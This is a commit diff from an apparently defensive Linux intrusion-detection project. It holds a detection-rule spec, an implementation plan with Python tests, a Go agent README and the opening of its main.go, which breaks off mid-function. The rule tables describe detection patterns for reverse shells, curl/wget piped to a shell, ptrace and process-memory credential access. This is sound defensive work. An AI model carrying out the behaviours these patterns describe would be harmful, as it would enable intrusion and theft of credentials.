## 2.15 Port parity notes (Go port)
- The Go poll detectors for §2.3§2.14 are **ported and pass the parity
fixture** (`scripts/check-go-parity.py`), covering exact SID/severity/key/
classtype/detail output. This document is the human-readable form of that
fixture's contract.
- `first_seen`/`new_listener`/`new_suid`/`persistence` receive injected baseline
inputs in parity mode and use the opt-in live lifecycle described in §1 when
`--state-dir` is supplied.
- Watch two easily-missed rules when reviewing a port: the **first-match-then-
break** behavior in `input_snooper`/`credential_access` (one alert per
process), and the **per-signature `seen` dedup** in `memory_obfuscation` (one
alert per signature per process, precedence-ordered).
- `ld_preload`'s global check reads `/etc/ld.so.preload` **inside the detector**
(or from an injected state field), not from the shared `SystemState` process
view.

View file

@ -0,0 +1,147 @@
<!-- SPDX-License-Identifier: GPL-3.0-or-later -->
# 3. Event Detection
Scope: the transport-independent contract for exec and syscall events and the
rules that turn them into alerts. Python remains the oracle. The Go port
accepts replay fixtures and reproduces the alert envelopes. Its opt-in native
exec and syscall sources now feed the same contract through `cilium/ebpf`;
typed-host kernel transports remain a separate boundary.
Typed host-event rules are part of the same replay and catalog contract.
## 3.1 Exec events
`ExecEvent` fields are `pid`, `ppid`, `uid`, `parent_comm`, `filename`, and
`argv`. `argv` excludes `filename`.
- `exec_comm` is the POSIX basename of `filename`. A trailing slash therefore
produces an empty basename; ports must not clean the path first.
- `argv_str` is `filename` and every captured argv item joined with one space,
then stripped at both ends.
- Rules AND every condition they specify. Values within one condition are ORed.
- A rule with no positive condition is invalid. `parent_exclude` is a veto, not
a positive condition.
- `argv_regex` is case-insensitive and searches the whole `argv_str`.
Alert contract:
| Field | Value |
|---|---|
| signature | `exec_rule.<classtype>` |
| key | `exec:<sid>:<pid>` |
| pids | the event PID, even when zero |
| detail | `sid=<sid> <msg> — pid=… ppid=… parent=… exec=… argv=[…]` |
The argv text in detail is truncated to 120 characters. Built-ins:
| SID | Severity | Classtype | Match |
|---|---|---|---|
| 100001 | CRITICAL | `fileless-execution` | filename begins `/tmp/`, `/dev/shm/`, or `/var/tmp/` |
| 100002 | CRITICAL | `c2-reverse-shell` | reverse-shell regex in `argv_str` |
| 100003 | CRITICAL | `web-rce` | web/DB parent launches a configured interpreter basename |
| 100004 | HIGH | `ingress-tool-transfer` | curl/wget/fetch piped to a shell |
Configured rules are appended after built-ins from `[[exec_rules]]` tables in
`exec_rules_file`. Missing files mean built-ins only. Unknown severity strings
fall back to HIGH, matching Python.
## 3.2 Syscall events
`SyscallEvent` fields are `pid`, `ppid`, `uid`, `comm`, `syscall`, six unsigned
arguments (`arg0``arg5`), and optional `text`. Missing arguments are zero.
Alert contract:
| Field | Value |
|---|---|
| signature | `syscall_rule.<classtype>` |
| key | `syscall:<sid>:<pid>:<syscall>:<arg0-hex>:<arg2-hex>` |
| pids | the event PID |
| detail | rule metadata plus `arg0``arg3` formatted as prefixed lowercase hex |
Optional text is appended as ` text=[…]` and truncated to 80 characters.
| SID | Severity | Classtype | Match |
|---|---|---|---|
| 100060 | CRITICAL | `memory-obfuscation` | `mprotect`, arg2 contains both WRITE (`0x2`) and EXEC (`0x4`) |
| 100061 | CRITICAL | `memory-obfuscation` | `mmap`, arg2 contains WRITE and EXEC |
| 100062 | MEDIUM | `fileless-execution` | any `memfd_create` |
| 100063 | HIGH | `anti-analysis` | `ptrace` request TRACEME (`0`), ATTACH (`16`), or SEIZE (`0x4206`) |
| 100064 | MEDIUM | `anti-analysis` | any `seccomp`, or `prctl` arg0 `PR_SET_SECCOMP` (`22`) |
| 100065 | HIGH | `credential-access` | `process_vm_readv` or `process_vm_writev` |
| 100066 | MEDIUM | `memory-obfuscation` | `mlock`, `mlock2`, or `mlockall` |
## 3.3 Current Go acceptance boundary
`scripts/check-go-parity.py` replays shared JSON into both implementations and
compares decoded `enodia.event.v1` alert envelopes exactly. Acceptance requires:
- all four built-in exec rules plus one configured rule;
- all seven syscall rules and all ten host rules plus negative predicate cases;
- identical SID, severity, signature, classtype, key, detail, PID list, host,
and timestamp;
- no BPF/root/kernel dependency for replay mode.
Replay flags are `--exec-events`, `--syscall-events`, and `--host-events`.
They emit alert JSONL only and exit. They remain deterministic verification
surfaces independent of the live source.
`--ebpf-exec` loads a compiled tracepoint program with `cilium/ebpf`, captures
PID, parent PID, UID, caller comm, filename, and the first two arguments, then
passes each record through the same exec rule engine, shared cooldown gate, and
`enodia.event.v1` builder. Parent lookup uses CO-RE relocation against kernel
BTF. Startup and reader failures update `ebpf`/`ebpf_exec` status and leave the
poll loop running. The flag is opt-in and requires Go 1.25+ to build.
`--ebpf-syscall` attaches one raw-syscall entry tracepoint. An architecture-
specific map allows only `mprotect`, `mmap`, `memfd_create`, `ptrace`, `prctl`,
`seccomp`, `process_vm_readv`, `process_vm_writev`, `mlock`, `mlock2`, and
`mlockall` through the BPF program, plus `setuid` and `setgid`, avoiding a
user-space event for every host syscall. It captures the six arguments and the
memfd name before routing syscall events through SIDs `100060``100066`.
`setuid`/`setgid` become typed host events for SIDs `100071`/`100072`. The
portable `fchmodat`/`fchownat` calls, plus legacy `chmod`/`chown`/`lchown` on
amd64, become `chmod`/`chown` host events for SID `100070`. Relative paths are
resolved against `/proc/<pid>/cwd` before matching persistence prefixes. The
`capset` effective bitmap is decoded to canonical capability names for SID
`100077`. `finit_module` resolves its file descriptor through `/proc/<pid>/fd`
and supplies path/module fields to SID `100078`. Syscall numbers come from
build-target `golang.org/x/sys/unix` constants rather
than a hand-maintained architecture table. Static builds are exercised for
`amd64`, `arm64`, `riscv64`, and big-endian `s390x`.
## 3.4 Typed host events
`HostEvent` covers `tcp_connect`, `listen`, `bind`, `accept`, `file_write`,
`chmod`, `chown`, `setuid`, `setgid`, `capset`, and `module_load`. Compatibility
aliases accepted by `ruleops` are stable: `type`, `remote_*`, `bind_*`,
`listen_*`, `uid_target`, `gid_target`, `caps`, `cap_effective`, singular
`capability`, and module `name`. Numeric strings accept decimal/hex/octal;
absent target UID/GID values are `-1`, not zero.
Host alerts use signature `host_rule.<classtype>` and a key containing every
typed identity field. Capabilities are normalized uppercase for matching and
rendering. Built-in SIDs are `100067``100073` and `100076``100078`.
## 3.5 Mixed pipeline and catalog
`--event-stream` accepts mixed JSONL (or `-` for stdin), infers exec/syscall
events when no explicit type exists, and routes typed events through one
transport-independent rule set. `--rules-list` and `--rules-show` expose the
same sorted metadata and conditions as Python `ruleops`.
The native exec/syscall readers and all replay modes feed this boundary. The
syscall reader also supplies typed-host transports for root UID/GID transition
requests, persistence-path permission/ownership changes, and capability-set
requests. `finit_module` supplies module-load events with resolved paths.
Interpreter `write`, `writev`, `pwrite64`, `pwritev`, and `pwritev2` calls are
filtered by the same comm list as SID `100069`, correlated across raw syscall
enter/exit in a bounded BPF map, emitted only for positive byte counts, and
resolved through `/proc/<pid>/fd`. Successful
IPv4/IPv6 `connect` and `bind` calls use the same enter/exit correlation and
in-kernel interpreter filter for SIDs `100067`/`100073`. Connect events are
verified against `/proc/net/tcp{,6}` by socket inode so UDP cannot be mislabeled
as `tcp_connect`. Successful `listen`, `accept`, and `accept4` calls resolve
their socket FD to local/peer TCP endpoints through the same inode tables for
SIDs `100068`/`100076`. Every current typed-host event family now has a native
transport.

View file

@ -38,8 +38,8 @@ Written in port-priority order. Status reflects which documents exist.
| # | File | Covers | Status |
|---|------|--------|--------|
| 1 | [`01-sweep-and-state.md`](01-sweep-and-state.md) | `system.py` capture, `daemon.py` sweep loop + baseline lifecycle, `alert.py`, detector registry, `config.py` timing knobs | **written** |
| 2 | `02-poll-detectors.md` | the twelve `detectors/*` — per-detector input → match → output contract | planned |
| 3 | `03-event-detection.md` | `event.py`, exec/syscall/host rule engines, `ruleops.py`, `sids.py` | planned |
| 2 | [`02-poll-detectors.md`](02-poll-detectors.md) | the twelve `detectors/*` — per-detector input → match → output contract | **written** |
| 3 | [`03-event-detection.md`](03-event-detection.md) | `event.py`, exec/syscall/host rule engines, `ruleops.py`, `sids.py` | **written** |
| 4 | `04-integrity.md` | `fim.py`, `pkgdb.py`, `selfprotect.py`, `assurance.py` | planned |
| 5 | `05-rootcheck.md` | `rootcheck.py` anti-rootkit cross-view checks | planned |
| 6 | `06-posture.md` | `posture.py` advisory host-hygiene checks | planned |

View file

@ -0,0 +1,295 @@
# EVE-Style Event Envelope (Phase 0) Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Add an additive, EVE-style event envelope (`enodia.event.v1`) — a single typed wrapper with an `event_type` discriminator — as the reference contract that both today's Python and a future Go agent will emit.
**Architecture:** A new pure `enodia_sentinel/event.py` module provides a reference encoder that wraps any payload in a common envelope (`schema`, `event_type`, `timestamp`, `host`, and a payload sub-object keyed by the event type — exactly like Suricata EVE). It is *additive*: it does not change any existing emitter or break existing v1 contracts. Existing objects (starting with `Alert`) get a thin convenience wrapper. Compatibility tests and `SCHEMAS.md` pin the contract.
**Tech Stack:** Python 3 standard library only (`dataclasses`/functions, `datetime`, `os`), `unittest`.
## Global Constraints
- **Stdlib-only.** No third-party imports in `enodia_sentinel/`. (Copied from CLAUDE.md engineering rules.)
- **Additive v1.** Required v1 fields are never removed, renamed, or retyped; new work only adds. (Copied from `docs/SCHEMAS.md`.)
- **Every operator-facing JSON contract updates `docs/SCHEMAS.md` and compatibility tests.** (Copied from CLAUDE.md documentation checklist.)
- **SPDX header** `# SPDX-License-Identifier: GPL-3.0-or-later` as the first line of every new `.py` file. (Matches every existing module.)
- **Shared checkout:** stage only files this plan creates/modifies; never `git add -A`. (Copied from CLAUDE.md.)
- **Timestamp format:** `datetime.now().astimezone().isoformat()`. **Host:** `os.uname().nodename`. (Existing convention in `snapshot.py`.)
- **Test command:** `python3 -m unittest <module> -v` from the repo root.
---
### Task 1: Event envelope reference encoder
**Files:**
- Modify: `enodia_sentinel/schemas.py` (add one constant)
- Create: `enodia_sentinel/event.py`
- Create: `tests/test_event_envelope.py`
- Modify: `docs/SCHEMAS.md` (add `enodia.event.v1` section)
**Interfaces:**
- Consumes: nothing (leaf module).
- Produces:
- `enodia_sentinel.schemas.EVENT_V1: str == "enodia.event.v1"`
- `enodia_sentinel.event.EVENT_TYPES: frozenset[str]` — the closed v1 set `{"alert", "incident", "status"}`
- `enodia_sentinel.event.build_event(event_type: str, payload: dict, *, host: str | None = None, timestamp: str | None = None) -> dict` — returns an envelope dict with keys `schema`, `event_type`, `timestamp`, `host`, and `event_type`'s value used as a key holding `payload`. Raises `ValueError` for an `event_type` not in `EVENT_TYPES`.
- [ ] **Step 1: Write the failing test**
Create `tests/test_event_envelope.py`:
```python
# SPDX-License-Identifier: GPL-3.0-or-later
"""Compatibility tests for the enodia.event.v1 envelope."""
import os
import unittest
from datetime import datetime
from enodia_sentinel import event, schemas
class TestEventEnvelope(unittest.TestCase):
def test_schema_id_is_stable(self):
self.assertEqual(schemas.EVENT_V1, "enodia.event.v1")
def test_build_event_shape_and_types(self):
env = event.build_event("alert", {"sid": 100010})
self.assertEqual(env["schema"], schemas.EVENT_V1)
self.assertEqual(env["event_type"], "alert")
self.assertIsInstance(env["timestamp"], str)
self.assertIsInstance(env["host"], str)
# EVE-style: payload lives under a key named by event_type.
self.assertEqual(env["alert"], {"sid": 100010})
def test_timestamp_defaults_to_iso8601(self):
env = event.build_event("status", {"running": True})
# Parses as ISO-8601 without raising.
datetime.fromisoformat(env["timestamp"])
def test_host_defaults_to_nodename(self):
env = event.build_event("status", {"running": True})
self.assertEqual(env["host"], os.uname().nodename)
def test_overrides_are_respected(self):
env = event.build_event(
"incident", {"id": "x"}, host="host-a", timestamp="2026-07-10T00:00:00-07:00")
self.assertEqual(env["host"], "host-a")
self.assertEqual(env["timestamp"], "2026-07-10T00:00:00-07:00")
def test_unknown_event_type_rejected(self):
with self.assertRaises(ValueError):
event.build_event("nope", {})
def test_event_types_is_closed_set(self):
self.assertEqual(event.EVENT_TYPES, frozenset({"alert", "incident", "status"}))
if __name__ == "__main__":
unittest.main()
```
- [ ] **Step 2: Run test to verify it fails**
Run: `python3 -m unittest tests.test_event_envelope -v`
Expected: FAIL — `ModuleNotFoundError: No module named 'enodia_sentinel.event'` (and `AttributeError` on `schemas.EVENT_V1`).
- [ ] **Step 3: Add the schema constant**
In `enodia_sentinel/schemas.py`, after the `RECONCILE_V1` line (currently the last constant), add:
```python
EVENT_V1 = "enodia.event.v1"
```
- [ ] **Step 4: Write the module**
Create `enodia_sentinel/event.py`:
```python
# SPDX-License-Identifier: GPL-3.0-or-later
"""EVE-style event envelope: one typed wrapper for every emitted record.
Every envelope carries a stable ``schema`` id, an ``event_type`` discriminator,
a ``timestamp`` and ``host``, and the type-specific payload under a key named by
the event type (mirroring Suricata's EVE JSON, where an ``alert`` record holds
its detail under ``"alert"``). This is the reference contract a future Go agent
must emit byte-for-byte; the Python side is the oracle.
"""
from __future__ import annotations
import os
from datetime import datetime
from .schemas import EVENT_V1
# Closed set of v1 discriminators. New types are added additively in later
# phases (e.g. "dns", "tls", "http", "flow", "anomaly", "capture"); removing or
# renaming a value is a breaking change.
EVENT_TYPES = frozenset({"alert", "incident", "status"})
def build_event(
event_type: str,
payload: dict,
*,
host: str | None = None,
timestamp: str | None = None,
) -> dict:
"""Wrap ``payload`` in an ``enodia.event.v1`` envelope.
Raises ``ValueError`` if ``event_type`` is not a known v1 discriminator.
"""
if event_type not in EVENT_TYPES:
raise ValueError(f"unknown event_type: {event_type!r}")
if host is None:
host = os.uname().nodename
if timestamp is None:
timestamp = datetime.now().astimezone().isoformat()
return {
"schema": EVENT_V1,
"event_type": event_type,
"timestamp": timestamp,
"host": host,
event_type: payload,
}
```
- [ ] **Step 5: Run test to verify it passes**
Run: `python3 -m unittest tests.test_event_envelope -v`
Expected: PASS (6 tests).
- [ ] **Step 6: Document the contract**
In `docs/SCHEMAS.md`, add this section immediately after the intro paragraph that ends "...pin the required v1 fields." (before the `## enodia.alert.v1` heading):
```markdown
## `enodia.event.v1`
Uniform envelope that wraps every emitted record with a typed discriminator.
This is the Python↔Go interoperability contract: any implementation must emit
the same envelope for the same input. Modeled on Suricata's EVE JSON — the
type-specific payload lives under a key named by `event_type`.
Required fields:
| Field | Type | Meaning |
|---|---|---|
| `schema` | string | `enodia.event.v1`. |
| `event_type` | string | Discriminator: `alert`, `incident`, or `status` (additive set). |
| `timestamp` | string | ISO-8601 emission time. |
| `host` | string | Hostname at emission time. |
| `<event_type>` | object | Payload, under a key equal to `event_type` (e.g. `alert` holds an `enodia.alert.v1` object). |
```
- [ ] **Step 7: Commit**
```bash
git add enodia_sentinel/schemas.py enodia_sentinel/event.py tests/test_event_envelope.py docs/SCHEMAS.md
git commit -m "feat(schema): add enodia.event.v1 EVE-style event envelope"
```
---
### Task 2: Alert → event convenience wrapper
**Files:**
- Modify: `enodia_sentinel/event.py`
- Modify: `tests/test_event_envelope.py`
- Modify: `docs/SCHEMAS.md` (one clarifying line)
**Interfaces:**
- Consumes: `event.build_event` (Task 1); `enodia_sentinel.alert.Alert` with its existing `.to_dict()` method returning keys `sid, severity, signature, classtype, key, detail, pids`.
- Produces: `enodia_sentinel.event.from_alert(alert, *, host: str | None = None, timestamp: str | None = None) -> dict` — an `enodia.event.v1` envelope with `event_type == "alert"` whose `alert` payload is exactly `alert.to_dict()`.
- [ ] **Step 1: Write the failing test**
Append to `tests/test_event_envelope.py` inside `TestEventEnvelope` (before the `if __name__` guard):
```python
def test_from_alert_wraps_alert_payload(self):
from enodia_sentinel.alert import Alert, Severity
alert = Alert(
Severity.CRITICAL, "reverse_shell", "rsh:4242",
"pid=4242 peer=[8.8.8.8:4444]", (4242,),
sid=100010, classtype="command-and-control")
env = event.from_alert(alert, host="host-a")
self.assertEqual(env["event_type"], "alert")
self.assertEqual(env["host"], "host-a")
# Payload is the untouched enodia.alert.v1 object.
self.assertEqual(env["alert"], alert.to_dict())
self.assertEqual(env["alert"]["signature"], "reverse_shell")
self.assertEqual(env["alert"]["sid"], 100010)
```
- [ ] **Step 2: Run test to verify it fails**
Run: `python3 -m unittest tests.test_event_envelope.TestEventEnvelope.test_from_alert_wraps_alert_payload -v`
Expected: FAIL — `AttributeError: module 'enodia_sentinel.event' has no attribute 'from_alert'`.
- [ ] **Step 3: Add the wrapper**
Append to `enodia_sentinel/event.py` (after `build_event`):
```python
def from_alert(alert, *, host: str | None = None, timestamp: str | None = None) -> dict:
"""Wrap an ``Alert`` (via its ``to_dict()``) in an ``alert`` event envelope."""
return build_event("alert", alert.to_dict(), host=host, timestamp=timestamp)
```
- [ ] **Step 4: Run test to verify it passes**
Run: `python3 -m unittest tests.test_event_envelope -v`
Expected: PASS (7 tests).
- [ ] **Step 5: Document the alert mapping**
In `docs/SCHEMAS.md`, in the `enodia.event.v1` table row for `<event_type>`, the text already notes `alert` holds an `enodia.alert.v1` object. Add one line directly beneath the table:
```markdown
The reference encoder lives in `enodia_sentinel/event.py`
(`build_event`, `from_alert`); `tests/test_event_envelope.py` pins the contract.
```
- [ ] **Step 6: Commit**
```bash
git add enodia_sentinel/event.py tests/test_event_envelope.py docs/SCHEMAS.md
git commit -m "feat(schema): add Alert -> enodia.event.v1 reference wrapper"
```
---
### Task 3: Full-suite regression check
**Files:** none (verification only).
**Interfaces:** none.
- [ ] **Step 1: Run the whole suite to confirm nothing regressed**
Run: `python3 -m unittest discover -s tests -v`
Expected: PASS — the existing suite plus the 7 new envelope tests. No existing schema-contract test changes behavior (the work is purely additive).
- [ ] **Step 2: Confirm the additive guarantee held**
Run: `git diff --stat HEAD~2 -- enodia_sentinel/`
Expected: only `schemas.py` (one added line) and the new `event.py` appear — no existing emitter (`alert.py`, `snapshot.py`, `incident.py`, `web.py`) was modified, proving the change is non-breaking.
---
## Self-Review
**Spec coverage (Phase 0 = "Freeze and extend the v1 EVE-style event envelope in SCHEMAS.md; `event_type` discriminator; alert/incident/status as event types; the Python↔Go contract; no language change yet"):**
- EVE-style envelope with `event_type` discriminator → Task 1 (`build_event`, `EVENT_TYPES`).
- alert/incident/status as event types → Task 1 (`EVENT_TYPES = {"alert","incident","status"}`); alert reference mapping → Task 2 (`from_alert`). Incident/status wrappers are deferred to their emitter phases; the discriminator set already reserves them additively, satisfying "as event types" at the contract level.
- Documented in `SCHEMAS.md` → Tasks 1 & 2.
- Compatibility tests pin the contract → Tasks 1 & 2; regression proven → Task 3.
- No language change → confirmed; all Python, additive.
**Placeholder scan:** none — every code and doc step shows exact content.
**Type consistency:** `build_event(event_type, payload, *, host, timestamp)` and `from_alert(alert, *, host, timestamp)` signatures match between the interface blocks, the code steps, and the tests. `EVENT_V1`/`EVENT_TYPES` names are consistent across schemas.py, event.py, and tests. Envelope keys (`schema`, `event_type`, `timestamp`, `host`, `<event_type>`) are identical in code, tests, and the SCHEMAS.md table.
**Scope:** single subsystem, additive, independently testable; no decomposition needed.

View file

@ -1,4 +1,4 @@
# Enodia Sentinel Go Agent (Phase 1 Prototype)
# Enodia Sentinel Go Agent (Migration Sidecar)
This directory is the parallel Go implementation described in
`docs/SURICATA_ASSIMILATION.md`. Python remains the production agent and the
@ -14,27 +14,160 @@ Current scope:
`deleted_exe` (`100012`), `input_snooper` (`100032`), and
`credential_access` (`100033`), plus `reverse_shell` (`100010`), `egress`
(`100016`), `stealth_network` (`100036`), and the `/proc/<pid>/maps`
`memory_obfuscation` cohort (`100039`, `100048`, `100049`);
- `enodia.status.v1` heartbeat records with no persistence or retained-alert
claims;
`memory_obfuscation` cohort (`100039`, `100048`, `100049`), and
`first_seen` (`100074`, `100075`), `new_listener` (`100013`),
`persistence` (`100015`), and `new_suid` (`100014`);
- an opt-in live baseline lifecycle (`--state-dir`) that builds listener/SUID
baselines, honors the startup grace gate, scans persistence paths, and
atomically retains `first-seen.json` using the Python-compatible schema;
- pure exec and syscall event models plus replayable rule engines: built-in
exec SIDs `100001``100004`, configured `[[exec_rules]]`, and syscall SIDs
`100060``100066` now emit Python-identical alert envelopes without requiring
a kernel probe;
- typed host-event SIDs `100067``100073` and `100076``100078`, a unified
mixed JSONL pipeline, Python-compatible `rules-list`/`rules-show` metadata,
correlation SID `100080`, and a shared per-key cooldown gate;
- opt-in native exec (`--ebpf-exec`) and security-syscall (`--ebpf-syscall`)
tracepoint sources built with `cilium/ebpf` v0.22.0 and CO-RE parent-process
lookup. They feed the same rule/cooldown/envelope paths as replay and degrade
to polling when loading, attaching, or reading is unavailable. The syscall
probe filters its security-relevant syscall numbers in-kernel and also routes
`setuid`/`setgid` into typed host-event SIDs `100071`/`100072`, plus
`chmod`/`chown` variants into SID `100070`, `capset` into SID `100077`, and
`finit_module` into SID `100078` after resolving the module FD path. Confirmed
interpreter `write`, `writev`, `pwrite64`, `pwritev`, and `pwritev2` calls are
enter/exit-correlated for SID `100069`.
Successful IPv4/IPv6 `connect`, `bind`, `listen`, and `accept` calls feed SIDs
`100067`, `100073`, `100068`, and `100076`;
- `enodia.status.v1` heartbeat records whose alert totals, severity counts, and
last-alert time are derived from the retained Go snapshot store;
- optional bounded JSONL retention (`--event-log`) with private permissions,
one rotated segment, and synchronous flushes for non-status records;
- optional `enodia.alert.snapshot.v1` JSON/text pairs (`--snapshot-dir`) with
same-second alert batching, best-effort `/proc` context, and Python-compatible
count/age pruning;
- a shared fixture checked against the Python detector by
`scripts/check-go-parity.py`.
It does not install a service, write Python state, capture eBPF events, retain
snapshots, or replace `enodia-sentinel`. Run a single terminal-visible sweep:
It does not yet provide Python's incident grouping, rich enrichment, assurance
chain, or notification fan-out for those snapshots, and it does not replace
`enodia-sentinel`. The module requires Go 1.25 or newer; development is currently
verified with Go 1.26.5. Run a single terminal-visible stateless sweep:
```bash
cd go-agent
GOCACHE=/tmp/enodia-go-cache go run ./cmd/enodia-sentinel-go --once
```
Print the packaged agent identity with `enodia-sentinel-go --version`.
Exercise the live baseline lifecycle in an isolated directory (do not point the
migration sidecar at the production Python agent's state directory):
```bash
GOCACHE=/tmp/enodia-go-cache go run ./cmd/enodia-sentinel-go \
--state-dir /tmp/enodia-sentinel-go-state
```
Development verification from the repository root:
```bash
make generate-go # only after editing internal/ebpfsource/bpf/*.bpf.c
make test-go
make parity-go
```
`--fixture`, `--host`, `--timestamp`, and `--proc-root` exist for deterministic
parity/testing. Production work should continue to use the default live
`/proc`, hostname, and local timestamp.
Build and install the opt-in production validation sidecar from the repository
root:
```bash
make build-go
sudo make install-go
sudo make enable-go
make status-go
make logs-go
```
`enodia-sentinel-go-sidecar.service` writes JSONL to the system journal and
keeps baseline lifecycle files under `/var/lib/enodia-sentinel-go`. It also
retains the same envelopes in `events.jsonl`, rotating to `events.jsonl.1`
before the active file exceeds 64 MiB. Both files are mode `0600`; alert and
incident records are synchronized before emission succeeds, while routine
status records use normal kernel writeback. It never shares the Python daemon's
`/var/log/enodia-sentinel` state. Both native probes are requested by the unit;
a probe load failure is visible in status events and the polling loop remains
active. Installing the sidecar does not enable it or alter
`enodia-sentinel.service`. The unit reaches `active` only after baseline
initialization, event-log and snapshot-store preflight, and both requested probe
load attempts finish.
Alert envelopes are also batched into private
`alert-YYYYMMDD-HHMMSS.{json,log}` pairs under the same isolated directory.
The JSON side implements the required `enodia.alert.snapshot.v1` fields and the
service applies shared `max_snapshots` / `max_snapshot_age_days` limits. Status
counts are populated only from parseable retained snapshots. Enrichment is
currently limited to a Go-source marker plus best-effort process detail;
incident indexing and the Python forensic enrichment/assurance pipeline remain
future parity work.
After every successfully emitted status record, the service atomically updates
`/var/lib/enodia-sentinel-go/heartbeat` with the current Unix timestamp (mode
`0600`). The file remains after shutdown so external watchdogs can identify a
stale sensor.
Check that signal with JSON output and a watchdog-friendly exit status:
```bash
enodia-sentinel-go --health
# For an isolated development run:
enodia-sentinel-go --health --state-dir /tmp/enodia-sentinel-go-state
```
The command uses `heartbeat_max_age` from the shared configuration, defaults to
the service state path when `--state-dir` is omitted, and exits nonzero for a
missing, malformed, or stale heartbeat.
For an ad-hoc retained run, set an explicit path and byte bound:
```bash
enodia-sentinel-go --state-dir /tmp/enodia-go-state \
--event-log /tmp/enodia-go-state/events.jsonl \
--event-log-max-bytes 8388608
```
Inspect recent retained records across both the active and rotated segments:
```bash
sudo enodia-sentinel-go --events-tail 50
# Or inspect an ad-hoc state tree:
enodia-sentinel-go --events-tail 50 --state-dir /tmp/enodia-go-state
```
The reader returns chronological JSONL, validates every source record, and
fails nonzero rather than forwarding corrupted evidence. It does not load the
agent configuration, so retained evidence remains available while a broken
configuration prevents the service from starting.
`--fixture`, `--host`, `--timestamp`, `--proc-root`, and `--suid-root` exist for
deterministic parity/testing. Fixture mode never activates the live baseline
manager. Production work should continue to use the default live `/proc`,
hostname, and local timestamp.
The kernel sources are explicitly opt-in while this remains a sidecar. They
require the privileges needed to load BPF programs and create maps. A load
failure is reported on stderr and in `enodia.status.v1`, then the poll loop
continues:
```bash
sudo go run ./cmd/enodia-sentinel-go --ebpf-exec --ebpf-syscall
```
Offline event-rule replays remain available without BPF or root:
```bash
go run ./cmd/enodia-sentinel-go --exec-events ../tests/fixtures/go/exec-events.json
go run ./cmd/enodia-sentinel-go --syscall-events ../tests/fixtures/go/syscall-events.json
go run ./cmd/enodia-sentinel-go --host-events ../tests/fixtures/go/host-events.json
go run ./cmd/enodia-sentinel-go --event-stream ../tests/fixtures/go/mixed-events.jsonl
go run ./cmd/enodia-sentinel-go --rules-list
```

View file

@ -1,22 +1,34 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// enodia-sentinel-go is the experimental Phase 1 sidecar. Python remains the
// production implementation and behavioral oracle until parity is complete.
// enodia-sentinel-go is the migration validation sidecar. Python remains the
// production default and behavioral oracle until parity is complete.
package main
import (
"context"
"encoding/json"
"errors"
"flag"
"fmt"
"os"
"os/signal"
"strings"
"sync"
"syscall"
"time"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/agent"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/baseline"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/correlation"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/ebpfsource"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/eventlog"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/health"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/schema"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/sdnotify"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/snapshot"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/system"
)
@ -31,15 +43,122 @@ func run() error {
once := flag.Bool("once", false, "emit one sweep and exit")
configPath := flag.String("config", "", "Sentinel TOML path (default: ENODIA_CONFIG or /etc/enodia-sentinel.toml)")
procRoot := flag.String("proc-root", "/proc", "procfs root")
stateDir := flag.String("state-dir", "", "enable baseline lifecycle in this directory")
suidRoot := flag.String("suid-root", "/", "SUID scan root (testing only)")
fixture := flag.String("fixture", "", "JSON SystemState fixture (parity/testing only)")
execEvents := flag.String("exec-events", "", "replay a JSON array of exec events and exit")
syscallEvents := flag.String("syscall-events", "", "replay a JSON array of syscall events and exit")
hostEvents := flag.String("host-events", "", "replay a JSON array of typed host events and exit")
eventStream := flag.String("event-stream", "", "match mixed JSONL events from a file or - for stdin")
eventLogPath := flag.String("event-log", "", "append live event envelopes to a bounded JSONL file")
eventLogMaxBytes := flag.Int64("event-log-max-bytes", 64<<20, "rotate the retained event log before this size")
eventsTail := flag.Int("events-tail", 0, "print the newest N retained event records and exit")
snapshotDir := flag.String("snapshot-dir", "", "retain bounded alert snapshot pairs in this directory")
rulesList := flag.Bool("rules-list", false, "emit the active event-rule catalog as JSON and exit")
rulesShow := flag.Int("rules-show", 0, "emit one event rule by SID as JSON and exit")
correlateFile := flag.String("correlate", "", "correlate a JSON array of incident summaries and exit")
ebpfExec := flag.Bool("ebpf-exec", false, "enable the native execve eBPF source (fails open to polling)")
ebpfSyscall := flag.Bool("ebpf-syscall", false, "enable the native security-syscall eBPF source (fails open to polling)")
checkHealth := flag.Bool("health", false, "check the state heartbeat as JSON and exit")
showVersion := flag.Bool("version", false, "print version and exit")
host := flag.String("host", "", "override hostname (parity/testing only)")
timestamp := flag.String("timestamp", "", "override RFC3339 timestamp (parity/testing only)")
flag.Parse()
if *showVersion {
fmt.Println(agent.Version)
return nil
}
if *eventsTail < 0 {
return fmt.Errorf("events-tail must be non-negative")
}
if *eventsTail > 0 {
path := *eventLogPath
if path == "" {
eventsDir := *stateDir
if eventsDir == "" {
eventsDir = "/var/lib/enodia-sentinel-go"
}
path = eventsDir + "/events.jsonl"
}
rows, err := eventlog.ReadRecent(path, *eventsTail)
if err != nil {
return err
}
for _, row := range rows {
if _, err := os.Stdout.Write(append(row, '\n')); err != nil {
return err
}
}
return nil
}
cfg, err := config.Load(*configPath)
if err != nil {
return err
}
if *checkHealth {
healthDir := *stateDir
if healthDir == "" {
healthDir = "/var/lib/enodia-sentinel-go"
}
status := health.Check(healthDir, time.Now(), time.Duration(cfg.HeartbeatMaxAge)*time.Second)
encoder := json.NewEncoder(os.Stdout)
encoder.SetEscapeHTML(false)
if err := encoder.Encode(status); err != nil {
return err
}
if !status.Healthy {
return errors.New(status.Detail)
}
return nil
}
if *rulesList || *rulesShow != 0 {
engine, err := events.LoadExecRuleEngine(cfg.ExecRulesFile)
if err != nil {
return err
}
catalog := events.RuleCatalog(engine)
payload := any(catalog)
if *rulesShow != 0 {
